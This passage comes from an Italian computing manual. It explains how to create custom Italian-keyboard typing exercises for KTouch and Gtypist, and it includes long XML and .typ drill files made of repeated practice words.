    <KeyConnector KeyUnicode="265" TargetKeyIndex="12" />
    <KeyConnector KeyUnicode="8364" TargetKeyIndex="34" ModifierIndex="11" />
  </Connections>
```

```
</KTouchKeyboard>
```

Figura 16.60. Aspetto di Ktouch con la configurazione della tastiera descritta nel listato precedente.

16.8.4 Personalizzazione degli esercizi

Gli esercizi standard per la lingua italiana, che accompagnano il programma, sono realizzati in modo automatico, con un criterio che potrebbe non essere quello desiderato. Per creare il proprio gruppo di esercizi, basta prendere uno dei file contenuti nella directory '`/usr/share/kde4/apps/ktouch/`', con estensione '`.ktouch.xml`' e modificarlo.

Qui viene proposto un gruppo di esercizi già presentato in altri capitoli. Il formato del file in questione prevede che si indichino ogni volta i tasti nuovi per i quali ci si addestra; in questo caso, piuttosto di scrivere i tasti, è stato descritto di che gruppo di tasti si tratta. Per una versione estesa di questo eserciziario, dovrebbe essere disponibile il file ⟨*allegati/italiano.ktouch.xml* ⟩.

Listato 16.61. File '`italiano.ktouch.xml`'. Si osservi che il file deve essere scritto secondo la codifica UTF-8. Per una versione più completa, si veda eventualmente ⟨*allegati/italiano.ktouch.xml* ⟩.

```
<KTouchLecture>
 <Title>Italiano</Title>
 <Comment>File di addestramento tratto da «Appunti di informatica
 libera»</Comment>
 <FontSuggestions>Courier 14 Pitch</FontSuggestions>
 <Levels>
  <Level>
   <NewCharacters>riga base sinistra</NewCharacters>
    <Line>asdf asdf asdf asdf asdf asdf asdf asdf asdf asdf</Line>
    <Line>fdsa fdsa fdsa fdsa fdsa fdsa fdsa fdsa fdsa fdsa</Line>
```

```
    <Line>afsd afsd afsd afsd afad afsd afsd afsd afsd afsd</Line>
    <Line>fads fads fads fads fads fads fads fads fads fads</Line>
    <Line>asfd asfd asfd asfd asfd asfd asfd asfd asfd asfd</Line>
    <Line>fdas fdas fdas fdas fdas fdas fdas fdas fdas fdas</Line>
    <Line>sdaf sdaf sdaf sdaf sdaf sdaf sdaf sdaf sdaf sdaf</Line>
    <Line>ad afa da fa sa ad afa da fa sa ad afa da fa sa ad</Line>
    <Line>ad afa da fa sa ad afa da fa sa ad afa da fa sa ad</Line>
    <Line>ad afa da fa sa ad afa da fa sa ad afa da fa sa ad</Line>
    <Line>ad afa da fa sa ad afa da fa sa ad afa da fa sa ad</Line>
    <Line>ad afa da fa sa ad afa da fa sa ad afa da fa sa ad</Line>
    <Line>ad afa da fa sa ad afa da fa sa ad afa da fa sa ad</Line>
    <Line>ad afa da fa sa ad afa da fa sa ad afa da fa sa ad</Line>
  </Level>
  <Level>
   <NewCharacters>riga base destra</NewCharacters>
    <Line>jklò jklò jklò jklò jklò jklò jklò jklò jklò jklò</Line>
    <Line>òlkj òlkj òlkj òlkj òlkj òlkj òlkj òlkj òlkj òlkj</Line>
    <Line>jòkl jòkl jòkl jòkl jòkl jòkl jòkl jòkl jòkl jòkl</Line>
    <Line>òjlk òjlk òjlk òjlk òjlk òjlk òjlk òjlk òjlk òjlk</Line>
    <Line>jkòl jkòl jkòl jkòl jkòl jkòl jkòl jkòl jkòl jkòl</Line>
    <Line>òljk òljk òljk òljk òljk òljk òljk òljk òljk òljk</Line>
    <Line>kljò kljò kljò kljò kljò kljò kljò kljò kljò kljò</Line>
    <Line>jlkò jlkò jlkò jlkò jlkò jlkò jlkò jlkò jlkò jlkò</Line>
    <Line>jòlk jòlk jòlk jòlk jòlk jòlk jòlk jòlk jòlk jòlk</Line>
    <Line>òklj òklj òklj òklj òklj òklj òklj òklj òklj òklj</Line>
    <Line>òjkl òjkl òjkl òjkl òjkl òjkl òjkl òjkl òjkl òjkl</Line>
    <Line>kòjl kòjl kòjl kòjl kòjl kòjl kòjl kòjl kòjl kòjl</Line>
    <Line>kjòl kjòl kjòl kjòl kjòl kjòl kjòl kjòl kjòl kjòl</Line>
    <Line>klòj klòj klòj klòj klòj klòj klòj klòj klòj klòj</Line>
  </Level>
  <Level>
   <NewCharacters>riga base</NewCharacters>
    <Line>ad adala add adds ads afa aj aja ajada al ala</Line>
    <Line>alada alafa alas alfa alfaja alfalfa alfalfal</Line>
    <Line>alfas all alla als as asa asada ask asks ass da</Line>
    <Line>dad dada dadas dads dal dala dalla dl dò fa fad</Line>
    <Line>fada fads faja fajada falda fall falla fallada</Line>
    <Line>falls falò falsa falsada fas ff flak flaks flask</Line>
    <Line>flasks ja jada jalda jaldada jas jasa ka ks la lad</Line>
    <Line>lada lads laja las lasa lass lassa lfd ls sa sad</Line>
    <Line>saja sajada sal sala salad salada salads salassa</Line>
    <Line>salassò salda saldò salò salsa salsas sas sass</Line>
    <Line>sass sas salsas salsa salò saldò salda salassò</Line>
    <Line>salassa salads salada salad sala sal sajada saja</Line>
    <Line>sad sa ls lfd lassa lass lasa las laja lads lada</Line>
    <Line>lad la ks ka jasa jas jaldada jalda jada ja flasks</Line>
    <Line>flask flaks flak ff fas falsada falsa falò falls</Line>
    <Line>fallada falla fall falda fajada faja fads fada fad</Line>
    <Line>fa dò dl dalla dala dal dads dadas dada dad da ass</Line>
    <Line>asks ask asada asa as als alla all alfas alfalfal</Line>
    <Line>alfalfa alfaja alfa alas alafa alada ala al ajada</Line>
    <Line>aja aj afa ads adds add adala ad</Line>
  </Level>
```

```
<Level>
 <NewCharacters>riga base</NewCharacters>
  <Line>slash slags slag shall shahs shah shags shag shads</Line>
  <Line>shad sh sass sash sas salsas salsa salò salgada</Line>
  <Line>salga saldò salda salassò salassa salads salada</Line>
  <Line>salad sala sal sajada saja sah sags sagas saga sag</Line>
  <Line>sad sa ls llaga lfd lassa lass lash lasa las laja</Line>
  <Line>lags lag lads lada lad la ks kg kahl ka jasa jas</Line>
  <Line>jaldada jalda jags jaga jag jada ja hl hg hash has</Line>
  <Line>halls hallada hall half haldada halda hala hahs</Line>
  <Line>hah hags hag hadada hada had ha gs glass glas</Line>
  <Line>glads glad ggf gash gasajada gasa gas gals galls</Line>
  <Line>galla gall galga galas gala gal gags gaga gag</Line>
  <Line>gaffs gaff gafa gads gad flasks flask flash flaks</Line>
  <Line>flak flags flag ff fas falsada falsa falò falls</Line>
  <Line>fallada falla fall falda fajada faja fahl fags fag</Line>
  <Line>fads fada fad fa dò dl dg dash dalla dalaga dala</Line>
  <Line>dal daga dads dadas dada dad da ass asks ask ash</Line>
  <Line>asada asa as als allg allagò allaga alla all</Line>
  <Line>alhaja alga alfas alfalfal alfalfa alfaja alfa</Line>
  <Line>alas alafa alada ala al ajada aja aj ahas aha ah</Line>
  <Line>agallada agalla afa ads adds add adala adahala ad</Line>
</Level>
<Level>
 <NewCharacters>riga base</NewCharacters>
  <Line>ad adahala adala add adds ads afa agalla agallada</Line>
  <Line>ah aha ahas aj aja ajada al ala alada alafa alas</Line>
  <Line>alfa alfaja alfalfa alfalfal alfas alga alhaja all</Line>
  <Line>alla allaga allagò allg als as asa asada ash ask</Line>
  <Line>asks ass da dà dad dada dadas dads daga dal dala</Line>
  <Line>dalaga dalla dash dg dl dò fa fad fada fads fag</Line>
  <Line>fags fahl faja fajada falda fall falla fallada</Line>
  <Line>falls falò falsa falsada fas ff flag flags flak</Line>
  <Line>flaks flash flask flasks gad gads gafa gaff gaffs</Line>
  <Line>gag gaga gags gal gala galas galga gall galla</Line>
  <Line>galls gals gas gasa gasajada gash ggf glad glads</Line>
  <Line>glas glass gs ha had hada hadada hag hags hah hahs</Line>
  <Line>hala halda haldada half hall hallada halls has</Line>
  <Line>hash hg hl ja jada jag jaga jags jalda jaldada jas</Line>
  <Line>jasa ka kahl kg ks la là lad lada lads lag lags</Line>
  <Line>laja las lasa lash lass lassa lfd llaga ls sa sad</Line>
  <Line>sag saga sagas sags sah saja sajada sal sala salad</Line>
  <Line>salada salads salassa salassò salda saldò salga</Line>
  <Line>salgada salò salsa salsas sas sash sass sh shad</Line>
  <Line>shads shag shags shah shahs shall slag slags slash</Line>
</Level>
<Level>
 <NewCharacters>riga superiore sinistra</NewCharacters>
  <Line>adagereste adattate adatte addestrata afa affare</Line>
  <Line>afferrereste afferrerete affettereste affetterete</Line>
  <Line>affrettereste affretterete araste arata arerete</Line>
  <Line>arreda arrederete arresa arrestereste arresterete</Line>
  <Line>arretrereste arretrerete asse assesta assesterete</Line>
```

```
    <Line>assetata atta atte atterrata atterrate attestasse</Line>
    <Line>attestaste attrasse daffare dataste datata degrada</Line>
    <Line>degradare derrata derrate destaste destata</Line>
    <Line>detergere detersa detestate detestereste dettate</Line>
    <Line>dette era ere errare errasse erte esagera</Line>
    <Line>esagererete esatta estate estesa fara fare fatte</Line>
    <Line>fede feste fetta fredde frega gas gatta gettate</Line>
    <Line>gettereste grate gratta gratterete gregge</Line>
    <Line>raffreddaste raffreddata rasare rasasse rassetta</Line>
    <Line>rassettare rata rate regge reggere restasse</Line>
    <Line>restaste rete retta sarta sarte sedata sedate sega</Line>
    <Line>segare segregata segregate serrare serrasse sesta</Line>
    <Line>seta sfere sfratta sfratterete sfrega sgrassare</Line>
    <Line>sgrassasse stadera staffa stasera stata strada</Line>
    <Line>strade stretta strette tardasse tardaste targa</Line>
    <Line>tartassa tartasserete tassa tassereste tasserete</Line>
    <Line>tastereste tasterete terrestre tersa tesserare</Line>
    <Line>tesserasse tessereste tesserete testata testate</Line>
    <Line>trae trarre trattaste trattata</Line>
  </Level>
  <Level>
   <NewCharacters>riga superiore destra</NewCharacters>
    <Line>yuppy yup yuk youyou you yolk yo yip uphill up</Line>
    <Line>uopo ululò ululo ululi uh pupullò pupullo pupulli</Line>
    <Line>puppy pupil pup puoi può pulpy pulp pull pulii pu</Line>
    <Line>pou populo poppy popolò popolo popoli pop poop</Line>
    <Line>pool pooh polyp polo pollo polli poll polipo</Line>
    <Line>polipi polio poli pol poky poilu poil poi ply plu</Line>
    <Line>ploy plop pli più pip pioppo pioppi pioli pio</Line>
    <Line>pilou pill pii piè pi phil oui où ou oppio oliò</Line>
    <Line>olio olii oli olà ok oily oil oho ohi oh luppolo</Line>
    <Line>lupo lupi lull lui lu loup lop loopy loop look</Line>
    <Line>lollypop lollipop loll loi lo lippu lip lily li là</Line>
    <Line>kp kooky kook klipp kilo killjoy kill joy joujou</Line>
    <Line>joui jolly joli io ill ilk il hypo hull hulk hui</Line>
    <Line>huh hop hoop hooky hookup hook holy holly hohl ho</Line>
    <Line>hl hippy hippo hip hilly hill hi</Line>
  </Level>
  <Level>
   <NewCharacters>riga superiore</NewCharacters>
    <Line>adagerà additereste adirare adotti afferrò</Line>
    <Line>affilerò affrettata aggrappare agitereste</Line>
    <Line>allargaste alleiate altre appello appostassero</Line>
    <Line>aprirla arrederete arrotate aspettò asserto</Line>
    <Line>assisterla assuefatti attestassi augurassero</Line>
    <Line>datata degradare deperirai deputato desta deturpai</Line>
    <Line>diffidare dilapideresti dilettiate dirupo</Line>
    <Line>disgreghi disputassero dissipò distrarsi dosare</Line>
    <Line>durerò eleggo erede esagerati eseguirà espiare</Line>
    <Line>esserti fardello ferii figlio fisserò fodero</Line>
    <Line>fratte frugherà fruttereste gaio gelida gilè</Line>
    <Line>gioiello giurate graduate gretto guardi guido</Line>
    <Line>halters hashish heap hep hippest hooded hosted</Line>
```

```
    <Line>hulas idolatrerò irreligioso ispettore itererò</Line>
    <Line>jetties juggled kilt laser legassero lesti</Line>
    <Line>listereste logoriate odorate oltrepassati oraria</Line>
    <Line>orsi ospitò paffutella palpaste parere partoriste</Line>
    <Line>paura perdete perquisirai pestiferi piè pigola più</Line>
    <Line>popolosi posdatassero potassero predisposti</Line>
    <Line>prelato presterai professassero progrediti</Line>
    <Line>propositi prosperò prototipo purga quaggiù questi</Line>
    <Line>rado raggruppo rapereste rassettaste reati reggerà</Line>
    <Line>relitto respiriate retrodateresti riepilogherei</Line>
    <Line>rifuggiste rilegherei ripassereste riposai risalti</Line>
    <Line>risposto ritirereste rugiada salassassero salpato</Line>
    <Line>saprà sederti seguitare sequestrati sfido</Line>
    <Line>sfoderasse sfregasse sgrassaste sigarette</Line>
    <Line>slegherai sode soli sopporterà sorrisi sosterai</Line>
    <Line>spara sparpagliò sperderà spettassero spillereste</Line>
    <Line>spoglierò spregiare squarterò statale stipulate</Line>
    <Line>storpierò strepitò stritoleresti stupirai</Line>
    <Line>suffragati superata susseguire taglierai tarperà</Line>
    <Line>tastassi telegrafati tessereresti tirasti tollero</Line>
    <Line>torturerò tradita traghetterà trasferirlo</Line>
    <Line>trasportiate trepida trite truppe udii urlare</Line>
    <Line>usufruisti waits wassailed wedder whalers</Line>
    <Line>whitewalls wilds woefully worsted yea</Line>
  </Level>
  <Level>
   <NewCharacters>riga superiore e maiuscole</NewCharacters>
    <Line>Afar Affair Afrodite Agatha Aldo Alessio Algeria</Line>
    <Line>Algiers Alighieri Aosta Apollo Apothéose Arturo</Line>
    <Line>Australia Austria Dallas Darida Delphi Eagles</Line>
    <Line>Egitto Elia Elliotte Ellis Eulero Fedora Ferrari</Line>
    <Line>Filippo Ford Fred Friday Fuji Fujitsu Galileo</Line>
    <Line>Gauss Georgia Gerardo Gert Giorgio Giosuè Giulio</Line>
    <Line>Giuseppe Golia Greg Gregoire Gregory Gretel Hayes</Line>
    <Line>Hewlett Hoepli Iraq IRQ Israele Italia Italy</Line>
    <Line>Jerrold Jerry Jersey Joliet Jukka Kelley Klaus</Line>
    <Line>Korea Korpela Kurdish Kurt Kuwait Lafayette Larry</Line>
    <Line>Leopardi Leopoldo LIFO Lira Lord Loris Louis</Line>
    <Line>Lourdes Luigi ORF Paolo Paride Paris Pegasus</Line>
    <Line>Pesaro Peseta Pfeifer Philips Piero Pierre Pietro</Line>
    <Line>Pirelli Pisa Pistoia Portogallo Powell Pula</Line>
    <Line>Rudolph Rush Russell Russia Saffo Saudita Sergio</Line>
    <Line>Silea Siria Solaris Sperry Tardif Tatu Ted Teresa</Line>
    <Line>Turati Urdu Uruguay Wales Walsh Waterlo Wesley</Line>
    <Line>Wietse Wright Yggdrasil Yiddish York</Line>
  </Level>
  <Level>
   <NewCharacters>riga inferiore sinistra</NewCharacters>
    <Line>abbassa abbassava accada accasa accasava afa bada</Line>
    <Line>badava basa basava bassa bava bazza cada</Line>
    <Line>casa casacca casca cascava cassa cava cavava dava</Line>
    <Line>fava gas gazza sacca sbava sbavava scada scassa</Line>
    <Line>scassava scava scavava svaga svagava vacca vada</Line>
```

```
    <Line>vaga vagava vasca zac</Line>
    <Line>zac vasca vagava vaga vada vacca svagava svaga</Line>
    <Line>scavava scava scassava scassa scada sbavava sbava</Line>
    <Line>sacca gazza gas fava dava cavava cava cassa</Line>
    <Line>cascava casca casacca casa cada bazza bava</Line>
    <Line>bassa basava basa badava bada afa accasava accasa</Line>
    <Line>accada abbassava abbassa</Line>
  </Level>
  <Level>
   <NewCharacters>riga inferiore destra</NewCharacters>
    <Line>nm mùn mò mnà mm mln ml mk mhò mhàn mhàm mhàl mb</Line>
    <Line>màn màm màl màb mà lùb lòn lò lkm lb làn làmh là</Line>
    <Line>km kl kk kbm kbk kb hm hl hk hh bùb bòl bm bln bl</Line>
    <Line>bhàn bhà bh bàn bà</Line>
    <Line>km kl kk kbm kbk kb hm hl hk hh bùb bòl bm bln bl</Line>
    <Line>màn màm màl màb mà lùb lòn lò lkm lb làn làmh là</Line>
    <Line>nm mùn mò mnà mm mln ml mk mhò mhàn mhàm mhàl mb</Line>
    <Line>bhàn bhà bh bàn bà</Line>
  </Level>
  <Level>
   <NewCharacters>riga inferiore</NewCharacters>
    <Line>abbassa abbassò accasa accasò acclamava ad affama</Line>
    <Line>affamò affannava al alba alga allaga allagò alzava</Line>
    <Line>ama amalgama amalgamò ammacca ammaccò ammalava</Line>
    <Line>ammassa ammassò ammazzava amò anca andò ansava</Line>
    <Line>avallava avanza avanzò bada badò bagnava baldanza</Line>
    <Line>ballava balza balzò banca basa basò bava blanda</Line>
    <Line>cagna calava calcagna calma calmò calva</Line>
    <Line>calzava canna casacca cascava cassa cavalcava</Line>
    <Line>cavava da dal dama danna dannò danzava dava fa</Line>
    <Line>falla falsa fan gala gamba gas ha kg là lagnanza</Line>
    <Line>lagnò lana lasagna lava lavanda lavò madama magma</Line>
    <Line>mal malsana mamba mammà mancanza mancò mandava</Line>
    <Line>manna massa nana sa sala salassava salava saldava</Line>
    <Line>salga salò salva salvava san sanava sansa sballava</Line>
    <Line>sbalza sbalzò sbava sbavò scala scalda scaldò</Line>
    <Line>scalza scansava scassa scassò scavalca scavalcò</Line>
    <Line>scavò sfamava svaga svagò vacanza vada vagava val</Line>
    <Line>valga vana vangava vasca zanna</Line>
  </Level>
  <Level>
   <NewCharacters>riga inferiore e maiuscole</NewCharacters>
    <Line>Abbas Adam Adan Addams Afghans Ahmad Ajax Ala</Line>
    <Line>Alabaman Alan Alaska Alaskans Aldan Allahabad Alma</Line>
    <Line>Alva Amman Andaman Anna Anshan Asama Assad Ava</Line>
    <Line>Baal Bach Baghdad Bahamas Balkans Ball Banach Bass</Line>
    <Line>Blacks Blvd Callaghan Callas Canada Casals Chad</Line>
    <Line>Chan Changsha Dada Dan Dhaka Fahd Falkland Fla</Line>
    <Line>Galahad Gall Gdansk Glass Hahn Hal Hals Haman Hank</Line>
    <Line>Hannah Havana JFK Jamaal Jan Janna Javas Kafka</Line>
    <Line>Kama Kans Kansans Kazakh Khan Klansman Laban Lana</Line>
    <Line>Lang Lassa Lhasa MHz Mach Mack Madagascans Malacca</Line>
    <Line>Manama Manx Mashhad Max Mazda McCall Nan Nanchang</Line>
```

```
    <Line>Nazca Sachs Sagan Saks Salas Sam Sana Sang Sasha</Line>
    <Line>Shaka Shanna Slavs Val Van Vang Xmas</Line>
  </Level>
 </Levels>
</KTouchLecture>
```

Questo file va copiato nella directory '`/usr/share/apps/ktouch/`', in modo da poterlo caricare come già descritto a proposito degli esercizi già previsti. Si osservi che il caricamento di un file che si trovi altrove potrebbe non funzionare.

16.9 Gtypist

Gtypist[2] è un programma di addestramento all'uso della tastiera, per terminali a caratteri.

16.9.1 Avvio

Il programma si avvia attraverso l'eseguibile '**`gtypist`**', da un terminale a caratteri:

gtypist [*opzioni*] [*file_di_addestramento*]

Se non si indicano opzioni e altri argomenti, si avvia il programma secondo la sua modalità predefinita, che prevede l'uso di file contenuti nella directory '`/usr/share/gtypist/`'. Ecco come si può presentare:

```
                         Series selection menu

                    The following 9 lesson series are available


                    Series Q     Quick QWERTY course (Q1 - Q5)
                    Series R     Long QWERTY course  (R1 - R14)
                    Series T     QWERTY touch typing (T1 - T16)
                    Series V     Yet Another QWERTY  (V1 - V19)
                    Series U     QWERTY Review       (U1 - U13)
                    Series D     Dvorak touch typing (D1 - D14)
                    Series M     Typing drills       (M1 - M11)
                    Series S     Speed drills        (S1 - S4)
                    Series N     Calculator keypad   (N1 - N3)
                    More lessons...
                    Help...


Use arrowed keys to move around, SPACE or RETURN to select and ESCAPE to go back
```

Si ottiene in pratica un menù di lezioni, che però sono orientate a una tastiera QWERTY statunitense (infatti, gli esercizi sono preparati in modo tale da prevedere che il punto e virgola si ottenga con uno dei tasti base, senza bisogno delle maiuscole, mentre nella tastiera italiana si trova nella riga inferiore e nel livello delle maiuscole, così da richiedere una preparazione maggiore prima di essere usato correttamente).

Per utilizzare un file di esercitazioni differente da quelli standard, anche se dovesse essere contenuto nella directory '/usr/share/gtypist/', è necessario indicarlo espressamente nella riga di comando, come ultimo argomento. Per esempio, così:

$ **gtypist italiano.typ** [*Invio*]

Evidentemente, in questo caso, si vuole utilizzare il file 'italiano.typ', che si trova nella directory corrente.

Si osservi che per concludere il funzionamento di Gtypist si può sempre usare la combinazione [*Ctrl c*], anche durante un'esercitazione.

16.9.2 Personalizzazione degli esercizi

Come già accennato, potrebbe mancare del tutto un file di esercizi per la mappa della tastiera italiana. Per creare il proprio gruppo di esercizi, basta prendere uno dei file contenuti nella directory '/usr/share/gtypist/', con estensione '.typ' e modificarlo.

Qui viene proposto un gruppo di esercizi già presentato in altri capitoli. Si osservi che il file deve essere realizzato secondo la codifica utilizzata durante il funzionamento del programma; di solito può trattarsi di ISO 8859-1 o UTF-8. Tuttavia, si osservi che il programma potrebbe funzionale male se il terminale è configurato per la codifica UTF-8, pertanto occorre controllare.

Listato 16.63. File 'italiano.typ'. Una copia di questo file, dovrebbe essere disponibile anche qui: ⟨*allegati/italiano.typ*⟩.

```
#
# Esercizi tratti da "Appunti di informatica libera", da usare
# con Gtypist (GNU Typist).
#
G:MENU
#
*:MENU
M: "Esercitazioni per la tastiera italiana"
 :TASTI_BASE_S_1                "tasti base con la mano sinistra 1"
 :TASTI_BASE_S_2                "tasti base con la mano sinistra 2"
 :TASTI_BASE_D_1                "tasti base con la mano destra 1"
 :TASTI_BASE_D_2                "tasti base con la mano destra 2"
 :TASTI_BASE_1                  "tasti base con entrambe le mani 1"
 :TASTI_BASE_2                  "tasti base con entrambe le mani 2"
 :RIGA_BASE_1                   "riga base 1"
 :RIGA_BASE_2                   "riga base 2"
 :RIGA_BASE_3                   "riga base 3"
 :RIGA_BASE_4                   "riga base 4"
 :RIGA_BASE_M_1                 "riga base con le maiuscole 1"
 :RIGA_BASE_M_2                 "riga base con le maiuscole 2"
 :RIGA_BASE_M_3                 "riga base con le maiuscole 3"
 :RIGA_SUPERIORE_S_1            "riga superiore con la mano sinistra 1"
 :RIGA_SUPERIORE_S_2            "riga superiore con la mano sinistra 2"
 :RIGA_SUPERIORE_S_3            "riga superiore con la mano sinistra 3"
 :RIGA_SUPERIORE_D_1            "riga superiore con la mano destra 1"
 :RIGA_SUPERIORE_D_2            "riga superiore con la mano destra 2"
 :RIGA_SUPERIORE_1              "riga superiore con entrambe le mani 1"
```

```
 :RIGA_SUPERIORE_2              "riga superiore con entrambe le mani 2"
 :RIGA_SUPERIORE_3              "riga superiore con entrambe le mani 3"
 :RIGA_SUPERIORE_4              "riga superiore con entrambe le mani 4"
 :RIGA_SUPERIORE_M_1            "riga superiore con le maiuscole 1"
 :RIGA_SUPERIORE_M_2            "riga superiore con le maiuscole 2"
 :RIGA_INFERIORE_S_1            "riga inferiore con la mano sinistra 1"
 :RIGA_INFERIORE_S_2            "riga inferiore con la mano sinistra 2"
 :RIGA_INFERIORE_D_1            "riga inferiore con la mano destra 1"
 :RIGA_INFERIORE_D_2            "riga inferiore con la mano destra 2"
 :RIGA_INFERIORE_1              "riga inferiore con entrambe le mani 1"
 :RIGA_INFERIORE_2              "riga inferiore con entrambe le mani 2"
 :RIGA_INFERIORE_M_1            "riga inferiore con le maiuscole 1"
 :RIGA_INFERIORE_M_2            "riga inferiore con le maiuscole 2"
#
#
#
*:TASTI_BASE_S_1
I:Tasti base con la mano sinistra 1
D:   asdf asdf asdf asdf asdf asdf asdf asdf asdf asdf
 :   fdsa fdsa fdsa fdsa fdsa fdsa fdsa fdsa fdsa fdsa
 :   afsd afsd afsd afsd afad afsd afsd afsd afsd afsd
 :   fads fads fads fads fads fads fads fads fads fads
 :   asfd asfd asfd asfd asfd asfd asfd asfd asfd asfd
 :   fdas fdas fdas fdas fdas fdas fdas fdas fdas fdas
 :   sdaf sdaf sdaf sdaf sdaf sdaf sdaf sdaf sdaf sdaf
#
*:TASTI_BASE_S_2
I:Tasti base con la mano sinistra 2
D:   ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
 :   ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
 :   ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
 :   ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
 :   ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
 :   ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
 :   ad afa da fa sa ad afa da fa sa ad afa da fa sa ad
#
*:TASTI_BASE_D_1
I:Tasti base con la mano destra 1
D:   jklò jklò jklò jklò jklò jklò jklò jklò jklò jklò
 :   òlkj òlkj òlkj òlkj òlkj òlkj òlkj òlkj òlkj òlkj
 :   jòkl jòkl jòkl jòkl jòkl jòkl jòkl jòkl jòkl jòkl
 :   òjlk òjlk òjlk òjlk òjlk òjlk òjlk òjlk òjlk òjlk
 :   jkòl jkòl jkòl jkòl jkòl jkòl jkòl jkòl jkòl jkòl
 :   òljk òljk òljk òljk òljk òljk òljk òljk òljk òljk
 :   kljò kljò kljò kljò kljò kljò kljò kljò kljò kljò
#
*:TASTI_BASE_D_2
I:Tasti base con la mano destra 2
D:   jlkò jlkò jlkò jlkò jlkò jlkò jlkò jlkò jlkò jlkò
 :   jòlk jòlk jòlk jòlk jòlk jòlk jòlk jòlk jòlk jòlk
 :   òklj òklj òklj òklj òklj òklj òklj òklj òklj òklj
 :   òjkl òjkl òjkl òjkl òjkl òjkl òjkl òjkl òjkl òjkl
 :   kòjl kòjl kòjl kòjl kòjl kòjl kòjl kòjl kòjl kòjl
```

```
 :   kjòl kjòl kjòl kjòl kjòl kjòl kjòl kjòl kjòl kjòl
 :   klòj klòj klòj klòj klòj klòj klòj klòj klòj klòj
#
*:TASTI_BASE_1
I:Tasti base con entrambe le mani 1
D:   ad adala add adds ads afa aj aja ajada al ala
 :   alada alafa alas alfa alfaja alfalfa alfalfal
 :   alfas all alla als as asa asada ask asks ass da
 :   dad dada dadas dads dal dala dalla dl dò fa fad
 :   fada fads faja fajada falda fall falla fallada
 :   falls falò falsa falsada fas ff flak flaks flask
 :   flasks ja jada jalda jaldada jas jasa ka ks la lad
 :   lada lads laja las lasa lass lassa lfd ls sa sad
 :   saja sajada sal sala salad salada salads salassa
 :   salassò salda saldò salò salsa salsas sas sass
#
*:TASTI_BASE_2
I:Tasti base con entrambe le mani 2
D:   sass sas salsas salsa salò saldò salda salassò
 :   salassa salads salada salad sala sal sajada saja
 :   sad sa ls lfd lassa lass lasa las laja lads lada
 :   lad la ks ka jasa jas jaldada jalda jada ja flasks
 :   flask flaks flak ff fas falsada falsa falò falls
 :   fallada falla fall falda fajada faja fads fada fad
 :   fa dò dl dalla dala dal dads dadas dada dad da ass
 :   asks ask asada asa as als alla all alfas alfalfal
 :   alfalfa alfaja alfa alas alafa alada ala al ajada
 :   aja aj afa ads adds add adala ad
#
*:RIGA_BASE_1
I:Riga base 1
D:   slash slags slag shall shahs shah shags shag shads
 :   shad sh sass sash sas salsas salsa salò salgada
 :   salga saldò salda salassò salassa salads salada
 :   salad sala sal sajada saja sah sags sagas saga sag
 :   sad sa ls llaga lfd lassa lass lash lasa las laja
 :   lags lag lads lada lad la ks kg kahl ka jasa jas
 :   jaldada jalda jags jaga jag jada ja hl hg hash has
 :   halls hallada hall half haldada halda hala hahs
 :   hah hags hag hadada hada had ha gs glass glas
 :   glads glad ggf gash gasajada gasa gas gals galls
#
*:RIGA_BASE_2
I:Riga base 2
D:   galla gall galga galas gala gal gags gaga gag
 :   gaffs gaff gafa gads gad flasks flask flash flaks
 :   flak flags flag ff fas falsada falsa falò falls
 :   fallada falla fall falda fajada faja fahl fags fag
 :   fads fada fad fa dò dl dg dash dalla dalaga dala
 :   dal daga dads dadas dada dad da ass asks ask ash
 :   asada asa as als allg allagò allaga alla all
 :   alhaja alga alfas alfalfal alfalfa alfaja alfa
 :   alas alafa alada ala al ajada aja aj ahas aha ah
```

```
 :   agallada agalla afa ads adds add adala adahala ad
#
*:RIGA_BASE_3
I:Riga base 3
D:   ad adahala adala add adds ads afa agalla agallada
 :   ah aha ahas aj aja ajada al ala alada alafa alas
 :   alfa alfaja alfalfa alfalfal alfas alga alhaja all
 :   alla allaga allagò allg als as asa asada ash ask
 :   asks ass da dà dad dada dadas dads daga dal dala
 :   dalaga dalla dash dg dl dò fa fad fada fads fag
 :   fags fahl faja fajada falda fall falla fallada
 :   falls falò falsa falsada fas ff flag flags flak
 :   flaks flash flask flasks gad gads gafa gaff gaffs
 :   gag gaga gags gal gala galas galga gall galla
#
*:RIGA_BASE_4
I:Riga base 4
D:   galls gals gas gasa gasajada gash ggf glad glads
 :   glas glass gs ha had hada hadada hag hags hah hahs
 :   hala halda haldada half hall hallada halls has
 :   hash hg hl ja jada jag jaga jags jalda jaldada jas
 :   jasa ka kahl kg ks la là lad lada lads lag lags
 :   laja las lasa lash lass lassa lfd llaga ls sa sad
 :   sag saga sagas sags sah saja sajada sal sala salad
 :   salada salads salassa salassò salda saldò salga
 :   salgada salò salsa salsas sas sash sass sh shad
 :   shads shag shags shah shahs shall slag slags slash
#
*:RIGA_BASE_M_1
I:Riga base con le maiuscole 1
D:   slash slags slag Skala shall Shaka shahs shah
 :   shags shag shads shad Sh sh sass Sasha sash SAS
 :   sas salsas salsa salò Salk salgada salga saldò
 :   salda salassò salassa Salas salads salada salad
 :   sala Sal sal Saks Sakha sajada saja sah sags sagas
 :   Saga saga sag sad Saal sa LSD ls llaga Lhasa lfd
 :   Lassa lassa lass lash lasa las laja lags lag lads
 :   lada lad laça là La la ks kg Kalk kahl Kafka Kaff
 :   ka Jg JFK jasa jas jaldada jalda jags Jagd jaga
 :   jag Jaffa jada ja hl Hg hg Hf Hd hash has Hals
#
*:RIGA_BASE_M_2
I:Riga base con le maiuscole 2
D:   halls hallada Hall hall half haldada halda hala
 :   Hal Hakka hahs hah hags hag hadada hada had Haas
 :   Haag ha gs Glass glass Glas glas glads glad glaça
 :   ggf Gd gash gasajada gasa Gas gas gals galls galla
 :   Gall gall galga galas Galahads Galahad Gala gala
 :   gal gags gaga Gag gag gaffs gaff gafa gads gad Ga
 :   FSF flasks flask flash flaks Flak flak flags flag
 :   Fla FG FF ff FDJ Fassa fas falsada falsa falò
 :   falls fallada falla Fall fall falda Falasha fajada
#
```

```
*:RIGA_BASE_M_3
I:Riga base con le maiuscole 3
D:   faja fahl Fahd fags fag fads fada fad Fa fa dò dl
 :   Dhaka dg dash Dallas dalla dalaga dala dal daga
 :   dads dadas Dada dada dad dà da çà ça Assad ass
 :   asks ask ash asada asa As as als allg Allah allagò
